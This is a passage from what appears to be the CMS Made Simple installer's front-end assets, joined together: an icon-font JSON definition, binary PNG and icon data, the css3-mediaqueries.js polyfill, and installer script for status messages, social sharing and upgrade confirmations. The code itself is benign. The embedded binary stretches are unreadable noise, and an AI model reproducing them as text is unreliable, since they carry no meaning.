					"M874.022 149.98c-92.652-92.656-220.636-149.98-362.022-149.98-219.488 0-406.69 138.128-479.498 332.188l119.876 44.954c54.604-145.546 195.006-249.142 359.622-249.142 106.040 0 202.020 43 271.506 112.494l-143.506 143.506h384v-384l-149.978 149.98zM512 896c-106.040 0-202.026-42.992-271.512-112.488l143.512-143.512h-384v384l149.994-149.994c92.646 92.662 220.618 149.994 362.006 149.994 219.49 0 406.692-138.128 479.5-332.188l-119.876-44.954c-54.604 145.546-195.006 249.142-359.624 249.142z"
				],
				"tags": [
					"loop",
					"repeat",
					"reload",
					"refresh",
					"update",
					"upgrade",
					"synchronize",
					"media control",
					"arrows"
				],
				"grid": 16
			},
			"properties": {
				"id": 284,
				"order": 7,
				"prevSize": 32,
				"code": 58886,
				"name": "loop",
				"ligatures": ""
			},
			"setIdx": 0,
			"iconIdx": 284
		},
		{
			"icon": {
				"paths": [
					"M1024 320l-512-256-512 256 512 256 512-256zM512 148.97l342.058 171.030-342.058 171.030-342.058-171.030 342.058-171.030zM921.444 460.722l102.556 51.278-512 256-512-256 102.556-51.278 409.444 204.722zM921.444 652.722l102.556 51.278-512 256-512-256 102.556-51.278 409.444 204.722z"
				],
				"tags": [
					"stack",
					"layers"
				],
				"grid": 16
			},
			"properties": {
				"id": 45,
				"order": 8,
				"prevSize": 32,
				"code": 58887,
				"name": "stack",
				"ligatures": ""
			},
			"setIdx": 0,
			"iconIdx": 45
		},
		{
			"icon": {
				"paths": [
					"M320 384h128v128h-128zM512 384h128v128h-128zM704 384h128v128h-128zM128 768h128v128h-128zM320 768h128v128h-128zM512 768h128v128h-128zM320 576h128v128h-128zM512 576h128v128h-128zM704 576h128v128h-128zM128 576h128v128h-128zM832 0v64h-128v-64h-448v64h-128v-64h-128v1024h960v-1024h-128zM896 960h-832v-704h832v704z"
				],
				"tags": [
					"calendar",
					"schedule",
					"date",
					"time",
					"day"
				],
				"grid": 16
			},
			"properties": {
				"id": 78,
				"order": 9,
				"prevSize": 32,
				"code": 58888,
				"name": "calendar",
				"ligatures": ""
			},
			"setIdx": 0,
			"iconIdx": 78
		},
		{
			"icon": {
				"paths": [
					"M852 0h-680c-94.6 0-172 77.4-172 172v680c0 94.6 77.4 172 172 172h680c94.6 0 172-77.4 172-172v-680c0-94.6-77.4-172-172-172zM384 832h-128v-448h128v448zM320 320c-35.346 0-64-28.654-64-64s28.654-64 64-64 64 28.654 64 64-28.654 64-64 64zM832 832h-128v-256c0-35.346-28.654-64-64-64s-64 28.654-64 64v256h-128v-448h128v79.472c26.398-36.264 66.752-79.472 112-79.472 79.53 0 144 71.634 144 160v288z"
				],
				"tags": [
					"linkedin",
					"social"
				],
				"grid": 16
			},
			"properties": {
				"id": 415,
				"order": 10,
				"prevSize": 32,
				"code": 58892,
				"name": "linkedin",
				"ligatures": ""
			},
			"setIdx": 0,
			"iconIdx": 415
		},
		{
			"icon": {
				"paths": [
					"M853.344 0h-682.66c-93.872 0-170.684 76.814-170.684 170.688v682.626c0 93.938 76.812 170.686 170.684 170.686l682.66-0.002c93.876 0 170.656-76.746 170.656-170.688v-682.622c0-93.874-76.782-170.688-170.656-170.688zM870.592 512h-166.592v448h-192v-448h-92.526v-146.564h92.526v-95.186c0-129.342 55.792-206.25 207.87-206.25h175.244v158.57h-143.13c-42.482-0.070-47.752 22.152-47.752 63.512l-0.232 79.354h192l-25.408 146.564z"
				],
				"tags": [
					"facebook",
					"social"
				],
				"grid": 16
			},
			"properties": {
				"id": 362,
				"order": 11,
				"prevSize": 32,
				"code": 58890,
				"name": "facebook",
				"ligatures": ""
			},
			"setIdx": 0,
			"iconIdx": 362
		},
		{
			"icon": {
				"paths": [
					"M853.342 0h-682.656c-93.874 0-170.686 76.81-170.686 170.69v682.622c0 93.938 76.812 170.688 170.686 170.688h682.656c93.876 0 170.658-76.75 170.658-170.69v-682.62c0-93.88-76.782-170.69-170.658-170.69zM838.052 341.834c0.328 7.342 0.49 14.728 0.49 22.148 0 226.214-169.216 487.068-478.658 487.068-95.004 0-183.434-28.348-257.886-76.918 13.16 1.588 26.552 2.394 40.13 2.394 78.822 0 151.358-27.37 208.934-73.282-73.616-1.38-135.744-50.876-157.154-118.882 10.274 2 20.812 3.074 31.652 3.074 15.344 0 30.206-2.096 44.32-6.008-76.96-15.732-134.95-84.916-134.95-167.856 0-0.722 0-1.438 0.016-2.152 22.68 12.82 48.624 20.52 76.2 21.41-45.142-30.698-74.842-83.092-74.842-142.488 0-31.37 8.294-60.778 22.778-86.058 82.974 103.57 206.936 171.72 346.754 178.862-2.87-12.532-4.358-25.596-4.358-39.014 0-94.538 75.326-171.18 168.23-171.18 48.39 0 92.118 20.786 122.802 54.058 38.32-7.676 74.324-21.92 106.832-41.542-12.562 39.976-39.234 73.522-73.966 94.71 34.026-4.138 66.452-13.34 96.62-26.954-22.546 34.324-51.070 64.476-83.944 88.61z"
				],
				"tags": [
					"twitter",
					"tweet",
					"social"
				],
				"grid": 16
			},
			"properties": {
				"id": 366,
				"order": 12,
				"prevSize": 32,
				"code": 58891,
				"name": "twitter",
				"ligatures": ""
			},
			"setIdx": 0,
			"iconIdx": 366
		},
		{
			"icon": {
				"paths": [
					"M0.806 869.664c-0.244-2.532-0.452-5.070-0.584-7.63 0.13 2.56 0.34 5.098 0.584 7.63zM235.908 565.148c92.010 2.738 153.734-92.698 137.862-213.198-15.894-120.48-103.396-217.168-195.408-219.922-92.026-2.73-153.74 89.482-137.852 210 15.882 120.468 103.352 220.374 195.398 223.12zM1024 256v-85.31c0-93.88-76.782-170.69-170.658-170.69h-682.656c-92.276 0-168.012 74.232-170.564 165.926 58.362-51.386 139.324-94.316 222.874-94.316 89.304 0 357.244 0 357.244 0l-79.948 67.618h-113.268c75.13 28.804 115.156 116.124 115.156 205.722 0 75.248-41.81 139.954-100.888 185.968-57.644 44.902-68.572 63.708-68.572 101.878 0 32.578 61.746 88 94.032 110.788 94.382 66.538 124.916 128.312 124.916 231.456 0 16.428-2.042 32.83-6.066 48.96h307.742c93.874 0 170.656-76.75 170.656-170.69v-533.308h-192v191.998h-64v-192h-191.998v-64h191.998v-192h64v192h192zM185.886 765.936c21.614 0 41.422-0.59 61.936-0.59-27.146-26.334-48.626-58.6-48.626-98.38 0-23.608 7.564-46.336 18.134-66.52-10.782 0.77-21.79 0.994-33.126 0.994-74.356 0-137.506-24.076-184.204-63.854v67.242l0.006 201.73c53.44-25.374 116.888-40.622 185.88-40.622zM3.42 887.258c-1.112-5.458-1.966-11.006-2.542-16.634 0.574 5.628 1.43 11.176 2.542 16.634zM455.45 952.846c-15.058-58.806-68.454-87.964-142.888-139.568-27.072-8.732-56.894-13.874-88.894-14.208-89.618-0.964-173.108 34.942-220.216 88.372 15.92 77.706 85.034 136.558 167.234 136.558h286.444c1.816-11.128 2.696-22.632 2.696-34.432 0-12.534-1.534-24.792-4.376-36.722z"
				],
				"tags": [
					"google plus",
					"social"
				],
				"grid": 16
			},
			"properties": {
				"id": 358,
				"order": 13,
				"prevSize": 32,
				"code": 58889,
				"name": "googleplus",
				"ligatures": ""
			},
			"setIdx": 0,
			"iconIdx": 358
		}
	],
	"height": 1024,
	"metadata": {
		"name": "cmsms-ui"
	},
	"preferences": {
		"showGlyphs": true,
		"showQuickUse": true,
		"fontPref": {
			"prefix": "icon-",
			"metadata": {
				"fontFamily": "cmsms-ui",
				"majorVersion": 1,
				"minorVersion": 0
			},
			"metrics": {
				"emSize": 512,
				"baseline": 6.25,
				"whitespace": 50
			},
			"embed": true,
			"showVersion": true,
			"showMetadata": true,
			"showMetrics": true,
			"resetPoint": 58880
		},
		"imagePref": {},
		"historySize": 100,
		"showCodes": true,
		"search": "",
		"gridSize": 16
	}
}PNG

   IHDR  L   M   E]N   tEXtSoftware Adobe ImageReadyqe<  IDATxOlWǟ')R́ro
*z}q*$RE"	'.TYz y6Q	q薞/C6JƿqǓ7߼Y_i̛7g~{O           PSH/4GҼX9܏2@Ay 9+?9T$My%@c,ʖ$vyE  <Z#YW%8Hy0(ccDTsE  sae2\&|Fi("`v$804s#UIđ|{wŃ %4Ü7^-)ֵPGCBP$?:{q2zKm<Pf l2,$H=,ıO6-ox邡°%9B:?3ԢK=K/PMGǊ<;V`@ 
	/|Ym\	=ߎzbZhCsIO]`2PXa`92ܣڝ(Nkܿ
A]8],t s`9)iaZgY6d=*.7o216&KNk`8%-F:F;w>	Ym(fUIM2kAtu7t'՗4EGvAoѽ7_N`ߐUB
,|45LDE9ԯwguJҀA3;=wy[O^c鏩,C9z0tkpj1UIEO4I¼&c.<Q(B2뺚`{Xq=Tȼg3qkΏ9~}ս4lS	{o4'hAhº|_1@jQȐ>s?;]MY:fQY7\nUQnr/ru&)|q^ʤ'|.ݟiIE4
d
skL@eRdLX3tI䋵*g3#fM-,ĮAͩ/>N'H&OZ3.KX{#72$)L->W.*?EےCܤ\3t9?glYg"C>RtcJwO'qAx ʘ-+?Ea[/el6Mq,o=KPҠ =SR̜]NΣl4MR|mZ\;e|xp8kf.(=g9op/scyXS=0Uί/Y}q-V7F8`:MSE*KftP"Z٧p嬋R`X|5Kk0fHYdeQDq[,]fܺs벡ftFI34?=|Ŝsh%ئiXua*7-ǀxp>6iS4fX5#fpgϟ`fmh*Pxo)'@>~X_*#S#?]
ia@%{W+尨LE'@DLZ5܇gţǇ5	0m2>GW#s5U_K	Kÿ*.iANIH+Ftvd궨VC}SR=.jzZ, 3UzIKbᬜ.C>:{m4W
-LWY#%>[UHnDyRx;woB\3*uP,:+$E)K[ܒ鞝#N4/&l,o/ 0GF03*xڰ4oAADkyk3',܏nVV`F]YՇ Y*%ۨIN˜gO~nwm	
\T8`#zS<Qפ&/~DʹY3g`K _\~CV{`n3`檰XL 3!YS?h>n׼ $v!>/	 3cE߬+`,-
IUb:Y+Lsh᎝>"@SiZ4 rӨ K>zN|yLBb_0թɭ'G,02yy(>9|+U
n[`_έ:n<[T,MJI`Z5K^?"x[d ̜Vtg-Hr+`m;j֩SnBE䦕5+UG
3{0i-Bf#f\Y<i$SW~4Ҧjk V]f䜞,!:d	`z){>&Mtv 4,,+r"rk
Rv/2ɮtҴZ`8mfqSm5!GG0iƏ2Rtvor	Pcp=407Xe+aSc]6+Rg>0ɊE5.Ö8;{d	<tնEXRQxU:E5E+T̤7``<|#[pz_OE5lE&wGiuL)aM]l&)	Mϲ54QJT*^'hOE)EJkQQIӸsP	X Boڔwˈt>Gi- ! z´K,˗^.Fm-}Ǔ}~  3
6.! jZ)Oe֡!j2S<ql.r6 Lh"5Qek+&mN@46fzX婢UV9,qibsTǺd؜MgXYN0ůYN@Kh4%kAM֬,i'jUV'u==!<i>Ue&Q]$DtKĲym\,87D9?UaG6d]x^EJ+kfB=|8TBm.Kjiͭ+🕤+k2|J&m.**cUf$f_C{2]}Jka
|}`eF,{'V]H [k\Z/ޛ/DY!Bvԁ,-[NW6-7gK+@c-kAŀQf$\n+VD@*>{yA܂`Ky*H4N7w]\-i]`^(K(QnzfE4{ԕ1cM7Cs!9v^jTw^ 4]3=Nxh	D	rt#צ#=HKÒ$YGyBT*U?@=rRA5˰#3C.1	˪Y#/t
&E|-AC؝LxED˸9Z	D0#׾	o0/J˲ѷoPW5-ټj(xK&8)kba,r^3^0-MW4Bi"?\Ig¶3g56<yU>e"5A5% gI`RAH{]Bn҅I;w-ouh  s@h[B	M44	^ qiQ4C.A9NʃV](E8
$App&A1j*W`UB9fl9f!AY8imXA1PB9IlϦQsw.J}p x&7~/AAAAAAAAAA W    IENDB`         h     (                                                 I/jVIIXoL)                        8D<888888?F                8L8888888888R            R88Fq}V88Y    =.<8{>H'Z88McO88L>UB8888l{nK88HB888Qh88888HM8J8D888TW8V888d<58ga88=F+    L8vu?88R        8
H8BB8lE8L8            8
B8888sL:D8                        87XLA=HW81                                                        if(typeof Object.create!=="function"){Object.create=function(e){function t(){}t.prototype=e;return new t}}var ua={toString:function(){return navigator.userAgent},test:function(e){return this.toString().toLowerCase().indexOf(e.toLowerCase())>-1}};ua.version=(ua.toString().toLowerCase().match(/[\s\S]+(?:rv|it|ra|ie)[\/: ]([\d.]+)/)||[])[1];ua.webkit=ua.test("webkit");ua.gecko=ua.test("gecko")&&!ua.webkit;ua.opera=ua.test("opera");ua.ie=ua.test("msie")&&!ua.opera;ua.ie6=ua.ie&&document.compatMode&&typeof document.documentElement.style.maxHeight==="undefined";ua.ie7=ua.ie&&document.documentElement&&typeof document.documentElement.style.maxHeight!=="undefined"&&typeof XDomainRequest==="undefined";ua.ie8=ua.ie&&typeof XDomainRequest!=="undefined";var domReady=function(){var e=[];var t=function(){if(!arguments.callee.done){arguments.callee.done=true;for(var t=0;t<e.length;t++){e[t]()}}};if(document.addEventListener){document.addEventListener("DOMContentLoaded",t,false)}if(ua.ie){(function(){try{document.documentElement.doScroll("left")}catch(e){setTimeout(arguments.callee,50);return}t()})();document.onreadystatechange=function(){if(document.readyState==="complete"){document.onreadystatechange=null;t()}}}if(ua.webkit&&document.readyState){(function(){if(document.readyState!=="loading"){t()}else{setTimeout(arguments.callee,10)}})()}window.onload=t;return function(t){if(typeof t==="function"){e[e.length]=t}return t}}();var cssHelper=function(){var e={BLOCKS:/[^\s{;][^{;]*\{(?:[^{}]*\{[^{}]*\}[^{}]*|[^{}]*)*\}/g,BLOCKS_INSIDE:/[^\s{][^{]*\{[^{}]*\}/g,DECLARATIONS:/[a-zA-Z\-]+[^;]*:[^;]+;/g,RELATIVE_URLS:/url\(['"]?([^\/\)'"][^:\)'"]+)['"]?\)/g,REDUNDANT_COMPONENTS:/(?:\/\*([^*\\\\]|\*(?!\/))+\*\/|@import[^;]+;)/g,REDUNDANT_WHITESPACE:/\s*(,|:|;|\{|\})\s*/g,WHITESPACE_IN_PARENTHESES:/\(\s*(\S*)\s*\)/g,MORE_WHITESPACE:/\s{2,}/g,FINAL_SEMICOLONS:/;\}/g,NOT_WHITESPACE:/\S+/g};var t,n=false;var r=[];var s=function(e){if(typeof e==="function"){r[r.length]=e}};var o=function(){for(var e=0;e<r.length;e++){r[e](t)}};var u={};var a=function(e,t){if(u[e]){var n=u[e].listeners;if(n){for(var r=0;r<n.length;r++){n[r](t)}}}};var f=function(e,t,n){if(ua.ie&&!window.XMLHttpRequest){window.XMLHttpRequest=function(){return new ActiveXObject("Microsoft.XMLHTTP")}}if(!XMLHttpRequest){return""}var r=new XMLHttpRequest;try{r.open("get",e,true);r.setRequestHeader("X_REQUESTED_WITH","XMLHttpRequest")}catch(i){n();return}var s=false;setTimeout(function(){s=true},5e3);document.documentElement.style.cursor="progress";r.onreadystatechange=function(){if(r.readyState===4&&!s){if(!r.status&&location.protocol==="file:"||r.status>=200&&r.status<300||r.status===304||navigator.userAgent.indexOf("Safari")>-1&&typeof r.status==="undefined"){t(r.responseText)}else{n()}document.documentElement.style.cursor="";r=null}};r.send("")};var l=function(t){t=t.replace(e.REDUNDANT_COMPONENTS,"");t=t.replace(e.REDUNDANT_WHITESPACE,"$1");t=t.replace(e.WHITESPACE_IN_PARENTHESES,"($1)");t=t.replace(e.MORE_WHITESPACE," ");t=t.replace(e.FINAL_SEMICOLONS,"}");return t};var c={stylesheet:function(t){var n={};var r=[],i=[],s=[],o=[];var u=t.cssHelperText;var a=t.getAttribute("media");if(a){var f=a.toLowerCase().split(",")}else{var f=["all"]}for(var l=0;l<f.length;l++){r[r.length]=c.mediaQuery(f[l],n)}var h=u.match(e.BLOCKS);if(h!==null){for(var l=0;l<h.length;l++){if(h[l].substring(0,7)==="@media "){var p=c.mediaQueryList(h[l],n);s=s.concat(p.getRules());i[i.length]=p}else{s[s.length]=o[o.length]=c.rule(h[l],n,null)}}}n.element=t;n.getCssText=function(){return u};n.getAttrMediaQueries=function(){return r};n.getMediaQueryLists=function(){return i};n.getRules=function(){return s};n.getRulesWithoutMQ=function(){return o};return n},mediaQueryList:function(t,n){var r={};var i=t.indexOf("{");var s=t.substring(0,i);t=t.substring(i+1,t.length-1);var o=[],u=[];var a=s.toLowerCase().substring(7).split(",");for(var f=0;f<a.length;f++){o[o.length]=c.mediaQuery(a[f],r)}var l=t.match(e.BLOCKS_INSIDE);if(l!==null){for(f=0;f<l.length;f++){u[u.length]=c.rule(l[f],n,r)}}r.type="mediaQueryList";r.getMediaQueries=function(){return o};r.getRules=function(){return u};r.getListText=function(){return s};r.getCssText=function(){return t};return r},mediaQuery:function(t,n){t=t||"";var r,i;if(n.type==="mediaQueryList"){r=n}else{i=n}var s=false,o;var u=[];var a=true;var f=t.match(e.NOT_WHITESPACE);for(var l=0;l<f.length;l++){var c=f[l];if(!o&&(c==="not"||c==="only")){if(c==="not"){s=true}}else if(!o){o=c}else if(c.charAt(0)==="("){var h=c.substring(1,c.length-1).split(":");u[u.length]={mediaFeature:h[0],value:h[1]||null}}}return{getQueryText:function(){return t},getAttrStyleSheet:function(){return i||null},getList:function(){return r||null},getValid:function(){return a},getNot:function(){return s},getMediaType:function(){return o},getExpressions:function(){return u}}},rule:function(e,t,n){var r={};var i=e.indexOf("{");var s=e.substring(0,i);var o=s.split(",");var u=[];var a=e.substring(i+1,e.length-1).split(";");for(var f=0;f<a.length;f++){u[u.length]=c.declaration(a[f],r)}r.getStylesheet=function(){return t||null};r.getMediaQueryList=function(){return n||null};r.getSelectors=function(){return o};r.getSelectorText=function(){return s};r.getDeclarations=function(){return u};r.getPropertyValue=function(e){for(var t=0;t<u.length;t++){if(u[t].getProperty()===e){return u[t].getValue()}}return null};return r},declaration:function(e,t){var n=e.indexOf(":");var r=e.substring(0,n);var i=e.substring(n+1);return{getRule:function(){return t||null},getProperty:function(){return r},getValue:function(){return i}}}};var h=function(e){if(typeof e.cssHelperText!=="string"){return}var n={stylesheet:null,mediaQueryLists:[],rules:[],selectors:{},declarations:[],properties:{}};var r=n.stylesheet=c.stylesheet(e);var s=n.mediaQueryLists=r.getMediaQueryLists();var o=n.rules=r.getRules();var u=n.selectors;var a=function(e){var t=e.getSelectors();for(var n=0;n<t.length;n++){var r=t[n];if(!u[r]){u[r]=[]}u[r][u[r].length]=e}};for(i=0;i<o.length;i++){a(o[i])}var f=n.declarations;for(i=0;i<o.length;i++){f=n.declarations=f.concat(o[i].getDeclarations())}var l=n.properties;for(i=0;i<f.length;i++){var h=f[i].getProperty();if(!l[h]){l[h]=[]}l[h][l[h].length]=f[i]}e.cssHelperParsed=n;t[t.length]=e;return n};var p=function(e,t){return;e.cssHelperText=l(t||e.innerHTML);return h(e)};var d=function(){n=true;t=[];var r=[];var i=function(){for(var e=0;e<r.length;e++){h(r[e])}var t=document.getElementsByTagName("style");for(e=0;e<t.length;e++){p(t[e])}n=false;o()};var s=document.getElementsByTagName("link");for(var u=0;u<s.length;u++){var a=s[u];if(a.getAttribute("rel").indexOf("style")>-1&&a.href&&a.href.length!==0&&!a.disabled){r[r.length]=a}}if(r.length>0){var c=0;var d=function(){c++;if(c===r.length){i()}};var v=function(t){var n=t.href;f(n,function(r){r=l(r).replace(e.RELATIVE_URLS,"url("+n.substring(0,n.lastIndexOf("/"))+"/$1)");t.cssHelperText=r;d()},d)};for(u=0;u<r.length;u++){v(r[u])}}else{i()}};var v={stylesheets:"array",mediaQueryLists:"array",rules:"array",selectors:"object",declarations:"array",properties:"object"};var m={stylesheets:null,mediaQueryLists:null,rules:null,selectors:null,declarations:null,properties:null};var g=function(e,t){if(m[e]!==null){if(v[e]==="array"){return m[e]=m[e].concat(t)}else{var n=m[e];for(var r in t){if(t.hasOwnProperty(r)){if(!n[r]){n[r]=t[r]}else{n[r]=n[r].concat(t[r])}}}return n}}};var y=function(e){m[e]=v[e]==="array"?[]:{};for(var n=0;n<t.length;n++){var r=e==="stylesheets"?"stylesheet":e;g(e,t[n].cssHelperParsed[r])}return m[e]};var b=function(e){if(typeof window.innerWidth!="undefined"){return window["inner"+e]}else if(typeof document.documentElement!=="undefined"&&typeof document.documentElement.clientWidth!=="undefined"&&document.documentElement.clientWidth!=0){return document.documentElement["client"+e]}};return{addStyle:function(e,t,n){var r=document.createElement("style");r.setAttribute("type","text/css");if(t&&t.length>0){r.setAttribute("media",t.join(","))}document.getElementsByTagName("head")[0].appendChild(r);if(r.styleSheet){r.styleSheet.cssText=e}else{r.appendChild(document.createTextNode(e))}r.addedWithCssHelper=true;if(typeof n==="undefined"||n===true){cssHelper.parsed(function(t){var n=p(r,e);for(var i in n){if(n.hasOwnProperty(i)){g(i,n[i])}}a("newStyleParsed",r)})}else{r.parsingDisallowed=true}return r},removeStyle:function(e){return e.parentNode.removeChild(e)},parsed:function(e){if(n){s(e)}else{if(typeof t!=="undefined"){if(typeof e==="function"){e(t)}}else{s(e);d()}}},stylesheets:function(e){cssHelper.parsed(function(t){e(m.stylesheets||y("stylesheets"))})},mediaQueryLists:function(e){cssHelper.parsed(function(t){e(m.mediaQueryLists||y("mediaQueryLists"))})},rules:function(e){cssHelper.parsed(function(t){e(m.rules||y("rules"))})},selectors:function(e){cssHelper.parsed(function(t){e(m.selectors||y("selectors"))})},declarations:function(e){cssHelper.parsed(function(t){e(m.declarations||y("declarations"))})},properties:function(e){cssHelper.parsed(function(t){e(m.properties||y("properties"))})},broadcast:a,addListener:function(e,t){if(typeof t==="function"){if(!u[e]){u[e]={listeners:[]}}u[e].listeners[u[e].listeners.length]=t}},removeListener:function(e,t){if(typeof t==="function"&&u[e]){var n=u[e].listeners;for(var r=0;r<n.length;r++){if(n[r]===t){n.splice(r,1);r-=1}}}},getViewportWidth:function(){return b("Width")},getViewportHeight:function(){return b("Height")}}}();domReady(function(){var t;var n={LENGTH_UNIT:/[0-9]+(em|ex|px|in|cm|mm|pt|pc)$/,RESOLUTION_UNIT:/[0-9]+(dpi|dpcm)$/,ASPECT_RATIO:/^[0-9]+\/[0-9]+$/,ABSOLUTE_VALUE:/^[0-9]*(\.[0-9]+)*$/};var r=[];var i=function(){var e="css3-mediaqueries-test";var t=document.createElement("div");t.id=e;var n=cssHelper.addStyle("@media all and (width) { #"+e+" { width: 1px !important; } }",[],false);document.body.appendChild(t);var r=t.offsetWidth===1;n.parentNode.removeChild(n);t.parentNode.removeChild(t);i=function(){return r};return r};var s=function(){t=document.createElement("div");t.style.cssText="position:absolute;top:-9999em;left:-9999em;"+"margin:0;border:none;padding:0;width:1em;font-size:1em;";document.body.appendChild(t);if(t.offsetWidth!==16){t.style.fontSize=16/t.offsetWidth+"em"}t.style.width=""};var o=function(e){t.style.width=e;var n=t.offsetWidth;t.style.width="";return n};var u=function(e,t){var r=e.length;var i=e.substring(0,4)==="min-";var s=!i&&e.substring(0,4)==="max-";if(t!==null){var u;var a;if(n.LENGTH_UNIT.exec(t)){u="length";a=o(t)}else if(n.RESOLUTION_UNIT.exec(t)){u="resolution";a=parseInt(t,10);var f=t.substring((a+"").length)}else if(n.ASPECT_RATIO.exec(t)){u="aspect-ratio";a=t.split("/")}else if(n.ABSOLUTE_VALUE){u="absolute";a=t}else{u="unknown"}}var l,c;if("device-width"===e.substring(r-12,r)){l=screen.width;if(t!==null){if(u==="length"){return i&&l>=a||s&&l<a||!i&&!s&&l===a}else{return false}}else{return l>0}}else if("device-height"===e.substring(r-13,r)){c=screen.height;if(t!==null){if(u==="length"){return i&&c>=a||s&&c<a||!i&&!s&&c===a}else{return false}}else{return c>0}}else if("width"===e.substring(r-5,r)){l=document.documentElement.clientWidth||document.body.clientWidth;if(t!==null){if(u==="length"){return i&&l>=a||s&&l<a||!i&&!s&&l===a}else{return false}}else{return l>0}}else if("height"===e.substring(r-6,r)){c=document.documentElement.clientHeight||document.body.clientHeight;if(t!==null){if(u==="length"){return i&&c>=a||s&&c<a||!i&&!s&&c===a}else{return false}}else{return c>0}}else if("device-aspect-ratio"===e.substring(r-19,r)){return u==="aspect-ratio"&&screen.width*a[1]===screen.height*a[0]}else if("color-index"===e.substring(r-11,r)){var h=Math.pow(2,screen.colorDepth);if(t!==null){if(u==="absolute"){return i&&h>=a||s&&h<a||!i&&!s&&h===a}else{return false}}else{return h>0}}else if("color"===e.substring(r-5,r)){var p=screen.colorDepth;if(t!==null){if(u==="absolute"){return i&&p>=a||s&&p<a||!i&&!s&&p===a}else{return false}}else{return p>0}}else if("resolution"===e.substring(r-10,r)){var d;if(f==="dpcm"){d=o("1cm")}else{d=o("1in")}if(t!==null){if(u==="resolution"){return i&&d>=a||s&&d<a||!i&&!s&&d===a}else{return false}}else{return d>0}}else{return false}};var a=function(e){var t=e.getValid();var n=e.getExpressions();var r=n.length;if(r>0){for(var i=0;i<r&&t;i++){t=u(n[i].mediaFeature,n[i].value)}var s=e.getNot();return t&&!s||s&&!t}return t};var f=function(e,t){var n=e.getMediaQueries();var i={};for(var s=0;s<n.length;s++){var o=n[s].getMediaType();if(n[s].getExpressions().length===0){continue}var u=true;if(o!=="all"&&t&&t.length>0){u=false;for(var f=0;f<t.length;f++){if(t[f]===o){u=true}}}if(u&&a(n[s])){i[o]=true}}var l=[],c=0;for(var h in i){if(i.hasOwnProperty(h)){if(c>0){l[c++]=","}l[c++]=h}}if(l.length>0){r[r.length]=cssHelper.addStyle("@media "+l.join("")+"{"+e.getCssText()+"}",t,false)}};var l=function(e,t){for(var n=0;n<e.length;n++){f(e[n],t)}};var c=function(e){var t=e.getAttrMediaQueries();var n=false;var i={};for(var s=0;s<t.length;s++){if(a(t[s])){i[t[s].getMediaType()]=t[s].getExpressions().length>0}}var o=[],u=[];for(var f in i){if(i.hasOwnProperty(f)){o[o.length]=f;if(i[f]){u[u.length]=f}if(f==="all"){n=true}}}if(u.length>0){r[r.length]=cssHelper.addStyle(e.getCssText(),u,false)}var c=e.getMediaQueryLists();if(n){l(c)}else{l(c,o)}};var h=function(e){for(var t=0;t<e.length;t++){c(e[t])}if(ua.ie){document.documentElement.style.display="block";setTimeout(function(){document.documentElement.style.display=""},0);setTimeout(function(){cssHelper.broadcast("cssMediaQueriesTested")},100)}else{cssHelper.broadcast("cssMediaQueriesTested")}};var p=function(){for(var e=0;e<r.length;e++){cssHelper.removeStyle(r[e])}r=[];cssHelper.stylesheets(h)};var d=0;var v=function(){var e=cssHelper.getViewportWidth();var t=cssHelper.getViewportHeight();if(ua.ie){var n=document.createElement("div");n.style.position="absolute";n.style.top="-9999em";n.style.overflow="scroll";document.body.appendChild(n);d=n.offsetWidth-n.clientWidth;document.body.removeChild(n)}var r;var s=function(){var n=cssHelper.getViewportWidth();var s=cssHelper.getViewportHeight();if(Math.abs(n-e)>d||Math.abs(s-t)>d){e=n;t=s;clearTimeout(r);r=setTimeout(function(){if(!i()){p()}else{cssHelper.broadcast("cssMediaQueriesTested")}},500)}};window.onresize=function(){var e=window.onresize||function(){};return function(){e();s()}}()};var m=document.documentElement;m.style.marginLeft="-32767px";setTimeout(function(){m.style.marginLeft=""},5e3);return function(){if(!i()){cssHelper.addListener("newStyleParsed",function(e){c(e.cssHelperParsed.stylesheet)});cssHelper.addListener("cssMediaQueriesTested",function(){if(ua.ie){m.style.width="1px"}setTimeout(function(){m.style.width="";m.style.marginLeft=""},0);cssHelper.removeListener("cssMediaQueriesTested",arguments.callee)});s();p()}else{m.style.marginLeft=""}v()}}());try{document.execCommand("BackgroundImageCache",false,true)}catch(e){}function add_message(str) {
    var theDiv = document.getElementById("inner");
    var newNode = document.createElement('p');
    newNode.className = 'message blue';
    newNode.innerHTML = str;
    theDiv.appendChild(newNode);
    theDiv.scrollTop = theDiv.scrollHeight;
}

function add_verbose(str) {
    var theDiv = document.getElementById("inner");
    var newNode = document.createElement('p');
    newNode.className = 'verbose';
    newNode.innerHTML = str;
    theDiv.appendChild(newNode);
    theDiv.scrollTop = theDiv.scrollHeight;
}

function add_error(str) {
    var theDiv = document.getElementById("inner");
    var newNode = document.createElement('p');
    newNode.innerHTML = str;
    newNode.className = 'message red';
    theDiv.appendChild(newNode);
    theDiv.scrollTop = theDiv.scrollHeight;
}

function set_block_html(id, html) {
    var theDiv = document.getElementById(id);
    theDiv.innerHTML = html;
}

function finish() {
    var theDiv = document.getElementById("bottom_nav");
    theDiv.style.display = 'block';
}

function socialShare() {

    // Twitter
    if (document.getElementById('twitter')) {
        document.getElementById('twitter').onclick = function() {
            window.open('https://twitter.com/intent/tweet?button_hashtag=cmsms&text=' + cmsms_lang.message, 'sharertwt', 'toolbar=0,status=0,width=540,height=345');
        };
    }
    // Google+
    if (document.getElementById('google')) {
        document.getElementById('google').onclick = function() {
            window.open('https://plus.google.com/share?url=http://www.cmsmadesimple.org', 'sharergplus', 'toolbar=0,status=0,width=524,height=505');
        };
    }
    // Facebook
    if (document.getElementById('facebook')) {
        document.getElementById('facebook').onclick = function() {
            window.open('http://www.facebook.com/sharer.php?u=http://www.cmsmadesimple.org', 'sharerfacebook', 'toolbar=0,status=0,width=525,height=368');
        };
    }
    // Linkedin
    if (document.getElementById('linkedin')) {
        document.getElementById('linkedin').onclick = function() {
            window.open('https://www.linkedin.com/cws/share?url=http%3A%2F%2Fwww.cmsmadesimple.org%2F&isFramed=true', 'sharerlinkedin', 'toolbar=0,status=0,width=540,height=528');
        };
    }

}

window.onload = function() {
    var freshen = document.getElementById('freshen'),
        upgrade = document.getElementById('upgrade');

    if( freshen ) {
        freshen.onclick = function() {
            return confirm(cmsms_lang.freshen);
        };
    }
    if( upgrade ) {
        upgrade.onclick = function() {
            return confirm(cmsms_lang.upgrade);
        };
    }

    socialShare();
};

function add_message(str){var theDiv=document.getElementById("inner");var newNode=document.createElement('p');newNode.className='message blue';newNode.innerHTML=str;theDiv.appendChild(newNode);theDiv.scrollTop=theDiv.scrollHeight;}
function add_verbose(str){var theDiv=document.getElementById("inner");var newNode=document.createElement('p');newNode.className='verbose';newNode.innerHTML=str;theDiv.appendChild(newNode);theDiv.scrollTop=theDiv.scrollHeight;}
